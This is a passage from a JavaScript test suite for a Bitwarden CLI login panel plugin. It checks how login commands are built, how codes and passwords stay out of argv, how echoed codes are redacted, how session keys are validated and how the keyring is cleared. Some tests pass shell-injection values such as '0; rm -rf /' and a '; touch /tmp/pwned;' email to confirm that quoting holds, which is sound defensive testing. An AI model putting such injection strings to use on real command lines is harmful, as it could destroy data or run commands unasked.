passing one would be silently ignored. +check("emailLoginPrewarmCommand takes (email, hasCode, serverUrl, method), not a password", + Model.emailLoginPrewarmCommand.length === 4, `arity ${Model.emailLoginPrewarmCommand.length}`) +check("apiKeyLoginCommand takes only a server URL", + Model.apiKeyLoginCommand.length === 1, `arity ${Model.apiKeyLoginCommand.length}`) + +// A stray password argument must not find its way into the command anyway. +const emailWithStrayArgs = Model.emailLoginPrewarmCommand("john@example.com", MASTER, SERVER) +check("a password passed where hasCode belongs is never interpolated", + !flat(emailWithStrayArgs).includes(MASTER), flat(emailWithStrayArgs)) + +// --- --method, the one argument that is a bare integer ---------------------- +// +// bw wants a number here, so it is neither quoted nor carried in the +// environment like everything else. What keeps that safe is that the only +// values which reach it are the ones already in the table. +const emailMethod = Model.emailLoginPrewarmCommand("john@example.com", true, "", 0) +const emailNoMethod = Model.emailLoginPrewarmCommand("john@example.com", true, "", -1) +check("a chosen method is passed to bw as a bare integer", + / --method 0 /.test(flat(emailMethod) + " "), flat(emailMethod)) +check("the method is sent before the code, as bw's own option order has it", + flat(emailMethod).indexOf("--method") < flat(emailMethod).indexOf("--code"), + flat(emailMethod)) +check("no method at all is sent when none was chosen, so bw picks for itself", + !flat(emailNoMethod).includes("--method") + && !flat(Model.emailLoginPrewarmCommand("john@example.com", true, "")).includes("--method"), + flat(emailNoMethod)) +check("a method outside the table never reaches the command line", + [2, 7, 99, -5, "0", "0; rm -rf /", null, undefined, {}, [0]].every( + (m) => !flat(Model.emailLoginPrewarmCommand("john@example.com", true, "", m)).includes("--method")), + "only table members may be interpolated") +check("the email login stage that carries a method carries no code with it", + !flat(Model.emailLoginPrewarmCommand("john@example.com", false, "", 1)).includes("--code") + && flat(Model.emailLoginPrewarmCommand("john@example.com", false, "", 1)).includes("--method 1"), + "choosing Email must be able to ask bw to send the mail") + +// --- the one login that runs with bw's prompts enabled ---------------------- +// +// New-device verification is the only challenge bw accepts from no flag: the +// token comes from an inquirer prompt on stdin. So this command answers it on +// stdin, and everything below is about that being safe rather than merely +// working. +const deviceCmd = Model.deviceVerificationLoginCommand("john@example.com", "", 0) +const deviceFlat = flat(deviceCmd) +check("the device code is piped to bw's stdin, read from the environment", + Model.deviceCodeEnvVar() === "QSBW_DEVICE_CODE" + && deviceFlat.includes('printf \'%s\\n\' "$' + Model.deviceCodeEnvVar() + '" |'), + deviceFlat) +check("the device code reaches no argv at all, not even bw's", + !deviceFlat.includes("--code") && !/--\w+ \d{6}/.test(deviceFlat), deviceFlat) +check("the master password still travels by FIFO on this path too", + deviceFlat.includes('--passwordfile "$__auth_fifo"') + && !deviceFlat.includes("--passwordenv"), deviceFlat) +check("the interactive login is bounded, so a prompt that never comes cannot hold it", + /timeout \d+s bw login/.test(deviceFlat), deviceFlat) +check("a chosen two-step method still travels with it", + deviceFlat.includes("--method 0") + && !flat(Model.deviceVerificationLoginCommand("john@example.com", "", -1)).includes("--method"), + deviceFlat) +check("this command does not disable interaction, which is the whole point", + !deviceFlat.includes("BW_NOINTERACTION"), deviceFlat) + +// The flag being dropped was there so bw fails fast instead of blocking on a +// prompt nobody can see. A pipe keeps that: inquirer 8.2.6 throws +// ERR_USE_AFTER_CLOSE at EOF rather than waiting, which is what the fallback +// to a terminal login keys off. +check("an unexpected prompt is recognised as a reason to fall back, not an error to show", + Model.loginPromptRanOutOfInput + && Model.loginPromptRanOutOfInput("", "Error [ERR_USE_AFTER_CLOSE]: readline was closed") + && !Model.loginPromptRanOutOfInput("", "Username or password is incorrect. Try again."), + "inquirer's own failure is a fallback signal") + +// An interactive bw echoes every keystroke back to stderr with the cursor +// movement to match, so the captured stream holds the code itself. +const noisy = "\u001b[2K\u001b[G? Enter OTP sent to login email: 913744\u001b[39D" + + "\u001b[39C\r\nInvalid verification code. Try again.\u001b[?25h" +// Deliberately not on a prompt line: the prompt rule must not be what removes +// it, or redaction is untested. +const echoedElsewhere = "Verification failed for code 913744.\r\nTry again." +check("the echoed device code never survives into a message shown to the user", + Model.sanitizeInteractiveStderr + && !Model.sanitizeInteractiveStderr(noisy, "913744").includes("913744") + && !Model.sanitizeInteractiveStderr(echoedElsewhere, "913744").includes("913744") + && Model.sanitizeInteractiveStderr(echoedElsewhere, "913744") === "Try again.", + JSON.stringify(Model.sanitizeInteractiveStderr && Model.sanitizeInteractiveStderr(echoedElsewhere, "913744"))) +check("what bw actually had to say survives the sanitiser", + Model.sanitizeInteractiveStderr(noisy, "913744") === "Invalid verification code. Try again.", + JSON.stringify(Model.sanitizeInteractiveStderr(noisy, "913744"))) +check("the sanitiser drops escape sequences and inquirer's own prompt lines", + !/\u001b/.test(Model.sanitizeInteractiveStderr(noisy, "913744")) + && !Model.sanitizeInteractiveStderr(noisy, "913744").includes("Enter OTP"), + JSON.stringify(Model.sanitizeInteractiveStderr(noisy, "913744"))) +check("a stack trace cannot flood the panel's error banner", + Model.sanitizeInteractiveStderr("x".repeat(9000), "").length <= 300, + String(Model.sanitizeInteractiveStderr("x".repeat(9000), "").length)) + +// --- the env vars the commands rely on -------------------------------------- + +check("the password env var is BW_PASSWORD, which bw reads via --passwordenv", + Model.passwordEnvVar() === "BW_PASSWORD", Model.passwordEnvVar()) +check("the API key env vars are the ones bw reads natively", + Model.clientIdEnvVar() === "BW_CLIENTID" && Model.clientSecretEnvVar() === "BW_CLIENTSECRET", + Model.clientIdEnvVar() + " / " + Model.clientSecretEnvVar()) +check("interaction is disabled through the environment, not the command line", + Model.noInteractionEnvVar() === "BW_NOINTERACTION" + && !everyCommand.some(([, c]) => flat(c).includes("BW_NOINTERACTION=")), + Model.noInteractionEnvVar()) + +// --- the two-step code, the one exception, is still kept out of the shell ---- +// bw has no environment option for --code, so the value reaches bw's argv. It +// must at least be expanded by the shell from the environment rather than +// written into the script, which outlives the login process. + +check("a 2FA code is expanded from the environment, never inlined", + flat(emailFull).includes('--code "$' + Model.twoFactorCodeEnvVar() + '"') + && !flat(emailFull).includes(CODE), flat(emailFull)) +check("no --code flag at all when no code was entered", + !flat(emailPlain).includes("--code"), flat(emailPlain)) + +// --- the rest of the command shape still has to be right -------------------- + +check("email login passes the email address, which is not a secret", + flat(emailPlain).includes("bw login 'john@example.com'"), flat(emailPlain)) +check("a custom server is configured before logging in", + emailFull[2].includes("bw config server '" + SERVER + "'") + && emailFull[2].includes("&& bw login"), flat(emailFull)) +check("no server config step when the default server is used", + !flat(emailPlain).includes("bw config server"), flat(emailPlain)) +check("api key login authenticates and then unlocks, since --apikey does not unlock", + flat(apiKey).includes("bw login --apikey") + && flat(apiKey).includes("bw unlock --passwordenv " + Model.passwordEnvVar()), flat(apiKey)) +check("api key login honours a custom server too", + flat(apiKeyServer).includes("bw config server '" + SERVER + "'"), flat(apiKeyServer)) + +// Single quotes in a server URL or email must not break out of the script. +const injected = Model.emailLoginPrewarmCommand("a'; touch /tmp/pwned; '@b.c", false, + "https://x'; touch /tmp/pwned; '.com") +check("shell metacharacters in the email and server URL stay quoted", + !flat(injected).includes("; touch /tmp/pwned; ") + || flat(injected).includes("'\\''"), flat(injected)) + +// --- what counts as a session key ------------------------------------------- +// The handoff file and bw's own stdout both feed extractSessionToken, and +// whatever it returns is written to the keyring and treated as an unlocked +// vault. Anything not shaped like a key must come back empty instead. + +const REAL_KEY = "Zm9vYmFyYmF6cXV1eDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk9PQ==" + +check("a raw key is returned as-is", + Model.extractSessionToken(REAL_KEY) === REAL_KEY, Model.extractSessionToken(REAL_KEY)) +check("an export line is unwrapped", + Model.extractSessionToken('export BW_SESSION="' + REAL_KEY + '"') === REAL_KEY, + Model.extractSessionToken('export BW_SESSION="' + REAL_KEY + '"')) +check("a key sharing the stream with other output is still found", + Model.extractSessionToken("Your vault is now unlocked!\n\n" + REAL_KEY) === REAL_KEY, + Model.extractSessionToken("Your vault is now unlocked!\n\n" + REAL_KEY)) + +// Each of these used to be returned verbatim and stored as a session. +const notKeys = [ + ["an error message", "You are not logged in."], + ["a single word of prose", "Failed"], + ["an empty file", ""], + ["whitespace", " \n "], + ["a short string of key-ish characters", "abc123=="], + ["a path someone left in the handoff file", "/home/user/notes.txt"], + ["a sentence with no spaces but wrong characters", "unlock.failed:invalid.master.password!"] +] +for (const [label, input] of notKeys) { + check(`${label} is not treated as a session key`, + Model.extractSessionToken(input) === "", JSON.stringify(Model.extractSessionToken(input))) +} + +check("a BW_SESSION line carrying junk is rejected rather than unwrapped", + Model.extractSessionToken('BW_SESSION="not a key"') === "", + Model.extractSessionToken('BW_SESSION="not a key"')) + +// --- logging out has to take the keyring with it ---------------------------- +// +// Two of the three entries this plugin writes are the master password: once in +// the clear for fingerprint unlock, once encrypted under a short PIN. Both go +// to the default collection, which is a file on disk that PAM unlocks at every +// login, so both survive a reboot on purpose. Logging out used to leave the +// PIN blob there forever, and to clear the fingerprint copy only when the +// panel's own `fingerprintStored` flag happened to be true -- a flag that goes +// false when a reader is unplugged, when fprintd is uninstalled, and for the +// first moments of every shell start. Run against a stand-in secret-tool so +// what is checked is that the entries are gone, not that a string looks right. + +const keyringStub = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-logout-")) +fs.writeFileSync(path.join(keyringStub, "secret-tool"), `#!/usr/bin/env bash +set -uo pipefail +cmd="\${1:-}"; shift || true +account="" +unlock=false +while [ $# -gt 0 ]; do + case "$1" in + account) account="\${2:-}"; shift 2 ;; + --unlock) unlock=true; shift ;; + *) shift ;; + esac +done +f="$STUB/entry-$account" +unlocked="$STUB/unlocked-$account" +case "$cmd" in + store) rm -f -- "$unlocked"; cat > "$f"; exit 0 ;; + lookup) [ -s "$f" ] || exit 1; cat "$f"; printf '\n'; exit 0 ;; + search) + if [ "\${FAIL_SEARCH_ACCOUNT:-}" = "$account" ] \ + || { [ "\${FAIL_SEARCH_WHEN_MISSING_ACCOUNT:-}" = "$account" ] && [ ! -e "$f" ]; }; then + printf '%s\n' 'keyring search unavailable' >&2 + exit 3 + fi + [ -e "$f" ] || exit 0 + if $unlock && [ "\${LOCK_ACCOUNT:-}" = "$account" ] \ + && [ "\${DENY_UNLOCK_ACCOUNT:-}" != "$account" ]; then + : > "$unlocked" + fi + printf '[stub-item]\nlabel = stub\n' + if [ "\${LOCK_ACCOUNT:-}" != "$account" ] || [ -e "$unlocked" ]; then + printf 'secret = '; cat "$f"; printf '\n' + fi + exit 0 + ;; + clear) + if [ "\${FAIL_CLEAR_ACCOUNT:-}" = "$account" ]; then + printf '%s\n' 'keyring service unavailable' >&2 + exit 2 + fi + [ -e "$f" ] || exit 1 + [ "\${LOCK_ACCOUNT:-}" != "$account" ] || [ -e "$unlocked" ] || exit 1 + rm -f -- "$f" "$unlocked" + exit 0 + ;; +esac +exit 1 +`) +fs.chmodSync(path.join(keyringStub, "secret-tool"), 0o755) + +const keyringRun = (command, extraEnv) => execFileSync(command[0], command.slice(1), { + env: Object.assign({}, process.env, + { PATH: `${keyringStub}:${process.env.PATH}`, STUB: keyringStub }, extraEnv || {}), + encoding: "utf8" +}) +const keyringEntries = () => fs.readdirSync(keyringStub) + .filter(f => f.startsWith("entry-")).map(f => f.slice("entry-".length)).sort() + +// secret-tool terminates lookup output with a newline. The lookup wrapper must +// remove that transport delimiter without trimming spaces that are actually +// part of the master password. +const SPACED_MASTER = " exact master password " +keyringRun(Model.keyringStoreMasterPasswordCommand(), { + [Model.keyringSecretEnvVar()]: SPACED_MASTER +}) +check("fingerprint keyring lookup preserves leading and trailing password spaces", + keyringRun(Model.keyringLookupMasterPasswordCommand()) === SPACED_MASTER, + JSON.stringify(keyringRun(Model.keyringLookupMasterPasswordCommand()))) + +// The three accounts as the panel actually writes them, rather than a list +// copied into the test: a fourth secret added later must not slip past this. +keyringRun(["bash", "-c", "printf '%s' \"$QSBW_SECRET\" | secret-tool store --label=x" + + " service 'qs-bitwarden-cli' account 'session'"], { QSBW_SECRET: "boot-id " + REAL_KEY }) +keyringRun(Model.keyringStoreMasterPasswordCommand(), { [Model.keyringSecretEnvVar()]: MASTER }) +keyringRun(Model.pinStoreCommand(), { [Model.keyringSecretEnvVar()]: MASTER, QSBW_PIN: "123456" }) +check("the fixture leaves all three secrets in the keyring", + keyringEntries().join(",") === "master_password,pin_blob,session", keyringEntries().join(",")) + +keyringRun(Model.keyringClearAllCommand()) +check("logging out clears every secret the plugin ever stored", + keyringEntries().length === 0, keyringEntries().join(",")) + +// Nothing stored is the ordinary case -- the user never enabled either +// feature -- and it must not read as a failure the panel then reports. +check("clearing an empty keyring succeeds", + keyringRun(Model.keyringClearAllCommand()) === "", "expected silence and exit 0") +check("no secret reaches the clear command's argv", + !Model.keyringClearAllCommand().join(" ").includes(MASTER), + Model.keyringClearAllCommand().join(" ")) + +keyringRun(["bash", "-c", "printf '%s' \"$QSBW_SECRET\" | secret-tool store --label=x" + + " service 'qs-bitwarden-cli' account 'session'"], { QSBW_SECRET: "stale session" }) +const failedClear = spawnSync(Model.keyringClearAllCommand()[0], Model.keyringClearAllCommand().slice(1), { + env: Object.assign({}, process.env, + { PATH: `${keyringStub}:${process.env.PATH}`, STUB: keyringStub, FAIL_CLEAR_ACCOUNT: "session" }), + encoding: "utf8" +}) +check("a real keyring deletion failure propagates out of the clear-all command", + failedClear.status !== 0 && keyringEntries().includes("session"), + `status ${failedClear.status}; entries ${keyringEntries().join(",")}`) +keyringRun(Model.keyringClearAllCommand()) + +keyringRun(["bash", "-c", "printf '%s' \"$QSBW_SECRET\" | secret-tool store --label=x" + + " service 'qs-bitwarden-cli' account 'session'"], { QSBW_SECRET: "locked session" }) +const lockedClear = spawnSync(Model.keyringClearAllCommand()[0], Model.keyringClearAllCommand().slice(1), { + env: Object.assign({}, process.env, + { PATH: `${keyringStub}:${process.env.PATH}`, STUB: keyringStub, + LOCK_ACCOUNT: "session", DENY_UNLOCK_ACCOUNT: "session" }), + encoding: "utf8" +}) +check("a matching credential in a locked collection cannot be mistaken for absence", + lockedClear.status !== 0 && keyringEntries().includes("session"), + `status ${lockedClear.status}; entries ${keyringEntries().join(",")}`) +keyringRun(Model.keyringClearAllCommand()) + +keyringRun(["bash", "-c", "printf '%s' \"$QSBW_SECRET\" | secret-tool store --label=x" + + " service 'qs-bitwarden-cli' account 'session'"], { QSBW_SECRET: "unlockable session" }) +keyringRun(Model.keyringClearAllCommand(), { LOCK_ACCOUNT: "session" }) +check("clear-all unlocks and removes a matching credential from a locked collection", + !keyringEntries().includes("session"), keyringEntries().join(",")) + +const failedSearch = spawnSync(Model.keyringClearAllCommand()[0], Model.keyringClearAllCommand().slice(1), { + env: Object.assign({}, process.env, + { PATH: `${keyringStub}:${process.env.PATH}`, STUB: keyringStub, FAIL_SEARCH_ACCOUNT: "session" }), + encoding: "utf8" +}) +check("a pre-clear keyring search failure blocks logout cleanup", + failedSearch.status !== 0, `status ${failedSearch.status}`) + +keyringRun(["bash", "-c", "printf '%s' \"$QSBW_SECRET\" | secret-tool store --label=x" + + " service 'qs-bitwarden-cli' account 'session'"], { QSBW_SECRET: "post-search session" }) +const failedPostSearch = spawnSync(Model.keyringClearAllCommand()[0], Model.keyringClearAllCommand().slice(1), { + env: Object.assign({}, process.env, + { PATH: `${keyringStub}:${process.env.PATH}`, STUB: keyringStub, + FAIL_SEARCH_WHEN_MISSING_ACCOUNT: "session" }), + encoding: "utf8" +}) +check("a post-clear verification failure cannot be reported as successful cleanup", + failedPostSearch.status !== 0 && !keyringEntries().includes("session"), + `status ${failedPostSearch.status}; entries ${keyringEntries().join(",")}`) + +fs.rmSync(keyringStub, { recursive: true, force: true }) + +// The command is only half of it: the panel has to run it, and run it without +// first asking a flag for permission. Both gates below were the bug. +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +const bodyOf = (name) => { + const start = panelSrc.indexOf(`function ${name}(`) + if (start === -1) return "" + let depth = 0 + for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) { + if (panelSrc[i] === "{") depth++ + else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1) + } + return "" +} + +const logout = bodyOf("logoutAccount") +const forget = bodyOf("forgetStoredCredentials") +const credentialStores = bodyOf("credentialStoresRunning") +const allCredentialClear = bodyOf("requestAllCredentialClear") +const loginEnv = bodyOf("loginProcessEnv") +const unlockSuccess = bodyOf("onUnlockSuccess") +const pinResult = bodyOf("onPinUnlockResult") +const fingerprintResult = bodyOf("onFingerprintPasswordRetrieved") +const submitLogin = bodyOf("submitLogin") +const loginOutput = bodyOf("onLoginOutput") +const abandonAuth = bodyOf("abandonAuthSecrets") +const resetSecondFactor = bodyOf("resetEmailLoginSecondFactor") +const prepareEmailLogin = bodyOf("prepareEmailLogin") +const chooseMethod = bodyOf("chooseTwoFactorMethod") +const loginSignature = bodyOf("emailLoginSignature") +const rememberMethod = bodyOf("rememberTwoFactorMethod") +const writerExited = bodyOf("onAuthPasswordWriterExited") +const resumeDeferred = bodyOf("resumeDeferredLogin") +const clearCollector = bodyOf("clearProcessCollectorSoon") +const loginExited = panelSrc.slice(panelSrc.indexOf("id: loginProc"), + panelSrc.indexOf("id: authPasswordWriterProc")) +const focusField = bodyOf("focusAppropriateField") +const statusFinished = bodyOf("onStatusFinished") +const pendingSecondFactor = bodyOf("pendingSecondFactorLogin") +const suspendPending = bodyOf("suspendPendingLogin") +const panelOpened = bodyOf("onPanelOpened") +const syncFields = bodyOf("syncLoginFieldsToState") +const submitDevice = bodyOf("submitDeviceVerification") +const startDevice = bodyOf("startDeviceVerificationLogin") +const loginFieldFocus = bodyOf("loginFieldHasFocus") +const resolvedLoginServer = bodyOf("resolvedLoginServerUrl") +const terminalLoginUi = panelSrc.slice(panelSrc.indexOf("// METHOD B: API Key"), + panelSrc.indexOf("// SCREEN 2: LOCKED VIEW")) +const emailLoginUi = panelSrc.slice(panelSrc.indexOf("// METHOD A: Email & Password"), + panelSrc.indexOf("// METHOD B: API Key")) + +check("the login screen offers US, EU and Custom server choices to both login methods", + /text:\s*"US"[\s\S]{0,500}text:\s*"EU"[\s\S]{0,500}text:\s*"Custom"/.test(panelSrc) + && panelSrc.indexOf('text: "US"') < panelSrc.indexOf("// METHOD A: Email & Password"), + "the shared region selector must appear before the method-specific forms") +check("the custom URL field appears only for the Custom server choice", + /id:\s*serverUrlField[\s\S]{0,160}visible:\s*root\.loginServerRegion\s*===\s*"custom"/.test(panelSrc), + "selecting US or EU must not expose a misleading self-hosted URL field") +check("all login paths resolve their server choice through the same mapping", + /Model\.loginServerUrlFor\(loginServerRegion,\s*loginServerUrl\)/.test(resolvedLoginServer) + && (panelSrc.match(/resolvedLoginServerUrl\(\)/g) || []).length >= 4, + resolvedLoginServer || "resolvedLoginServerUrl() is missing") + +// Email/password login is deliberately two-stage. Asking every user for a +// second factor up front makes an optional challenge look mandatory and +// collects a code before Bitwarden has said it needs one. +check("the email login initially hides the second-factor prompt", + /Column\s*\{\s*visible:\s*root\.show2faField[\s\S]{0,420}TWO-STEP VERIFICATION CODE/.test(emailLoginUi), + emailLoginUi) +check("each login stage replaces the controls before it instead of overflowing below them", + (emailLoginUi.match(/visible:\s*root\.loginCredentialsStage/g) || []).length >= 2 + && /visible:\s*root\.loginMethod\s*!==\s*"email"\s*\|\|\s*root\.loginCredentialsStage/.test(panelSrc) + && /loginCredentialsStage:\s*!show2faField\s*&&\s*!show2faMethodPicker/.test(panelSrc) + && /visible:\s*root\.show2faMethodPicker/.test(emailLoginUi) + && /visible:\s*root\.show2faField/.test(emailLoginUi), + emailLoginUi) +check("only deliberate credential edits can return MFA login to the first stage", + /id:\s*emailField[\s\S]{0,700}onTextEdited:[\s\S]{0,300}resetEmailLoginSecondFactor\(\)/.test(emailLoginUi) + && /id:\s*loginPassField[\s\S]{0,900}onTextEdited:\s*\{[\s\S]{0,180}if\s*\(root\.show2faField\)[\s\S]{0,180}resetEmailLoginSecondFactor\(\)/.test(emailLoginUi) + && /id:\s*loginPassField[\s\S]{0,500}onTextChanged:\s*root\.loginPassword\s*=\s*text/.test(emailLoginUi), + emailLoginUi) +check("Enter on the password submits the first stage, then advances to the revealed code field", + /id:\s*loginPassField[\s\S]{0,1200}onAccepted:\s*root\.show2faField\s*\?\s*code2faField\.forceActiveFocus\(\)\s*:\s*root\.submitLogin\(\)/.test(emailLoginUi), + emailLoginUi) +check("the second stage cannot resubmit without a verification code", + /show2faField[\s\S]{0,180}login2faCode[\s\S]{0,220}code2faField\.forceActiveFocus\(\)[\s\S]{0,80}return/.test(submitLogin), + submitLogin) +check("a Bitwarden second-factor challenge reveals and focuses the code field", + /show2faField\s*=\s*true/.test(loginOutput) + && /code2faField\.forceActiveFocus\(\)/.test(loginOutput), + loginOutput) +check("restarting email login clears both the second-factor stage and its code", + /show2faField\s*=\s*false/.test(resetSecondFactor) + && /login2faCode\s*=\s*""/.test(resetSecondFactor) + && /loginDeviceVerification\s*=\s*false/.test(resetSecondFactor), + resetSecondFactor) + +// Fixes #4. The device-verification branch has to be reached first: the +// second-factor test below it matches the same message, so testing in the +// other order would re-prompt for a code bw is never going to read. +check("device verification is decided before the second-factor prompt is raised", + /loginNeedsDeviceVerification/.test(loginOutput) + && loginOutput.indexOf("loginNeedsDeviceVerification") + < loginOutput.indexOf("loginNeedsSecondFactor"), + loginOutput) +check("the device-verification branch stops asking for a code and does not focus the field", + /loginNeedsDeviceVerification[\s\S]{0,400}resetEmailLoginSecondFactor\(\)[\s\S]{0,120}loginDeviceVerification\s*=\s*true[\s\S]{0,600}return/.test(loginOutput) + && loginOutput.indexOf("code2faField.forceActiveFocus") + > loginOutput.indexOf("loginNeedsSecondFactor"), + loginOutput) +check("every email login attempt records whether it carried a code", + (submitLogin.match(/loginAttemptHadCode\s*=/g) || []).length >= 2 + && /loginAttemptHadCode\s*=\s*String\(login2faCode[\s\S]{0,200}emailLoginPrewarmCommand\(\s*\n?\s*email,\s*loginAttemptHadCode/.test(prepareEmailLogin), + prepareEmailLogin + "\n---\n" + submitLogin) +// --- a code is never sent without the method it belongs to ------------------- +// +// bw only puts the two-step token on the wire when a provider came with it +// (TokenRequest.toIdentityToken requires provider != null). Without --method +// the code-carrying request is therefore a bare password grant, and for an +// email provider the server answers that challenge by issuing a fresh code -- +// invalidating the one being submitted. Measured against bw 2026.2.0: the same +// command succeeds with --method and fails without it. +check("a code is not collected until the method it belongs to is known", + /!Model\.isTwoFactorMethod\(login2faMethod\)[\s\S]{0,400}show2faMethodPicker = true[\s\S]{0,300}return/.test(loginOutput), + loginOutput) +check("the method question is asked before the code field, not after", + loginOutput.indexOf("second-factor-needs-method") + < loginOutput.indexOf("secondFactorWasVisible"), + loginOutput) +check("a known method goes straight to the code field", + /var secondFactorWasVisible = show2faField/.test(loginOutput) + && /show2faField = true/.test(loginOutput), + loginOutput) +check("every command that carries a code also carries a method", + (() => { + const withCode = Model.emailLoginPrewarmCommand("a@b.c", true, "", 1).join(" ") + const noMethod = Model.emailLoginPrewarmCommand("a@b.c", true, "", -1).join(" ") + // The builder still honours -1; it is the panel that must never reach it + // with a code. Assert the builder pairs them when asked to. + return withCode.includes("--method 1") && withCode.includes("--code") + && !noMethod.includes("--method") + })(), + "the pairing is the panel's to enforce, and the builder must support it") + +// --- a status check must never cancel the login it raced --------------------- +// +// `bw status` takes seconds and answers about the world as it was when it +// started. Landing mid-login it says "unauthenticated", truthfully for that +// moment, and the unauthenticated branch calls cancelAuthPrewarm() -- which +// SIGTERMs the login the user just submitted. It also clears isLoading on the +// way past, so the button dropped out of "Verifying..." with nothing shown. +check("a status result that raced a submitted login is ignored", + /if \(authAttemptInFlight\(\)\)[\s\S]{0,240}return/.test(statusFinished) + && statusFinished.indexOf("authAttemptInFlight") + < statusFinished.indexOf("isLoading = false"), + statusFinished) +check("the guard covers both kinds of submitted authentication", + /loginSubmitted \|\| unlockSubmitted/.test(bodyOf("authAttemptInFlight")), + bodyOf("authAttemptInFlight")) +check("the guard sits ahead of every branch that cancels or drops state", + statusFinished.indexOf("authAttemptInFlight") + < statusFinished.indexOf("cancelAuthPrewarm"), + statusFinished) + +// --- a cleared property must never leave a filled-in field ------------------ +// +// Typing into a TextField assigns to its own `text`, which breaks the binding +// back to the property behind it. Clearing the property then leaves the field +// showing what was typed, while every submit reads the property -- so the panel +// sent a login with no code at all while the user looked at a filled-in code +// field, bw answered "Code is required.", and retyping the code repaired the +// property so the next click worked. That was the double Verify. +check("clearing a login field's property clears the field with it", + ["code2faField", "deviceCodeField", "loginPassField", + "apiClientIdField", "apiClientSecretField"] + .every((f) => new RegExp(`${f}\\.text =`).test(syncFields)), + syncFields) +check("the fields are synced from the state, never the other way round", + /code2faField\.text = login2faCode/.test(syncFields) + && !/login2faCode = code2faField/.test(syncFields), + syncFields) +check("every path that clears login state syncs the fields it is behind", + ["suspendPendingLogin", "resetEmailLoginSecondFactor", "abandonAuthSecrets"] + .every((fn) => /syncLoginFieldsToState\(\)/.test(bodyOf(fn))), + "a clear that skips the sync reintroduces the desync") +check("locking and succeeding sync the fields too, so a later login opens clean", + (panelSrc.match(/syncLoginFieldsToState\(\)/g) || []).length >= 6, panelSrc) + +// --- a login must never end without saying anything ------------------------- +// +// bw exiting cleanly with no session used to be handed to the unlock path, +// which refuses it on the login screen and then fails silently two seconds +// later in a FIFO writer. The button went to "Verifying..." and back, and +// nothing was ever shown. +check("a clean exit with no session reports instead of falling through to unlock", + /logLogin\("clean-exit-no-session"[\s\S]{0,200}errorMessage = "Bitwarden reported no error/.test(loginOutput) + && !/unlockVaultWithPassword\(loginPassword\)/.test(loginOutput), + loginOutput) +check("every branch of the login result says which one it was", + (loginOutput.match(/logLogin\("/g) || []).length >= 9, loginOutput) + +// The diagnostic is the shape of an attempt, never its content: a session +// token is counted rather than printed. +check("the diagnostic counts the session rather than printing it", + Model.loginDiagnostic + && Model.loginDiagnostic("a-real-looking-session-token==", "", 0, "success") + .includes("stdout=30b") + && !Model.loginDiagnostic("a-real-looking-session-token==", "", 0, "success") + .includes("a-real-looking-session-token"), + Model.loginDiagnostic && Model.loginDiagnostic("a-real-looking-session-token==", "", 0, "success")) +check("the diagnostic carries what bw said, escape sequences and all removed", + Model.loginDiagnostic("", "\u001b[2KTwo-step token is invalid.", 1, "bw-error") + .includes("Two-step token is invalid.") + && !/\u001b/.test(Model.loginDiagnostic("", "\u001b[2Kx", 1, "bw-error")), + Model.loginDiagnostic("", "\u001b[2KTwo-step token is invalid.", 1, "bw-error")) +check("the diagnostic is bounded, so a stack trace cannot fill the log", + Model.loginDiagnostic("", "x".repeat(9000), 1, "bw-error").length < 300, + String(Model.loginDiagnostic("", "x".repeat(9000), 1, "bw-error").length)) + +// --- a submit must never be swallowed by the buffer scrub ------------------- +// +// The scrub is started from the login process's own exit handler and takes the +// process for a moment. A submit arriving in that moment ends up waiting on the +// scrub's exit rather than the login's, and the exit handler returned early for +// a scrub -- so the deferred submit was dropped and the click did nothing. The +// next click worked because by then nothing held the process. That was having +// to press Verify twice. +check("a scrub's exit still dispatches whatever submit was waiting on it", + /finishScrubRun\(loginProc\)\)\s*\{[\s\S]{0,120}resumeDeferredLogin\(false\)[\s\S]{0,40}return/.test(loginExited), + loginExited) +check("the ordinary exit dispatches through the same path", + /!root\.loginSubmitted\)\s*\{[\s\S]{0,420}root\.resumeDeferredLogin\(true\)/.test(loginExited), + loginExited) +check("a scrub cannot schedule another scrub", + /mayScrub\)\s*\{?\s*\n?\s*clearProcessCollectorSoon/.test(resumeDeferred) + && /resumeDeferredLogin\(false\)/.test(loginExited), + resumeDeferred) +check("every deferred kind is dispatched, not just the submit", + /deviceVerificationPending/.test(resumeDeferred) + && /loginSubmitAfterPrewarmStop/.test(resumeDeferred) + && /loginPrepareAfterPrewarmStop/.test(resumeDeferred), + resumeDeferred) +check("a scrub is not started over a submit that is already waiting", + /proc === loginProc[\s\S]{0,220}loginSubmitAfterPrewarmStop[\s\S]{0,160}return/.test(clearCollector), + clearCollector) + +// --- a login waiting on an emailed code must survive the panel closing ------ +// +// A code that arrives by email cannot be read without leaving the panel, and +// closing used to call abandonAuthSecrets() -- so the password and the stage +// were gone by the time the user came back with the code. Email two-step and +// new-device verification were both unreachable by construction. +const MIN = 60 * 1000 +check("a pending login survives the panel closing, for a bounded time", + Model.secondFactorWindowOpen + && Model.secondFactorWindowOpen(1000, 1000) + && Model.secondFactorWindowOpen(1000, 1000 + 4 * MIN) + && !Model.secondFactorWindowOpen(1000, 1000 + 6 * MIN), + "the window has to be open long enough to read an email and no longer") +check("no window is open when no login was pending", + !Model.secondFactorWindowOpen(0, Date.now()) + && !Model.secondFactorWindowOpen(null, Date.now()) + && !Model.secondFactorWindowOpen("", Date.now()), + "0 means nothing is pending, not that everything is") +check("a clock stepped backwards closes the window rather than reopening it", + !Model.secondFactorWindowOpen(5000, 1000), + "negative elapsed time is evidence the clock moved, not that the login is recent") + +check("only a login stopped on a challenge is kept, and only with a password to submit", + /show2faField && !showDeviceCodeField && !show2faMethodPicker[\s\S]{0,60}return false/.test(pendingSecondFactor) + && /!String\(loginPassword \|\| ""\)[\s\S]{0,40}return false/.test(pendingSecondFactor) + && /status !== "unauthenticated"[\s\S]{0,60}return false/.test(pendingSecondFactor) + && /Model\.secondFactorWindowOpen\(secondFactorStartedAt/.test(pendingSecondFactor), + pendingSecondFactor) +check("both ways of closing the panel keep a pending login instead of wiping it", + (panelSrc.match(/if \(pendingSecondFactorLogin\(\)\) suspendPendingLogin\(\)\s*\n\s*else abandonAuthSecrets\(\)/g) || []).length === 2, + "close() and onOpenedChanged both call abandonAuthSecrets unconditionally otherwise") +check("a half-typed code is dropped, since it is not the code about to be read", + /login2faCode = ""/.test(suspendPending) && 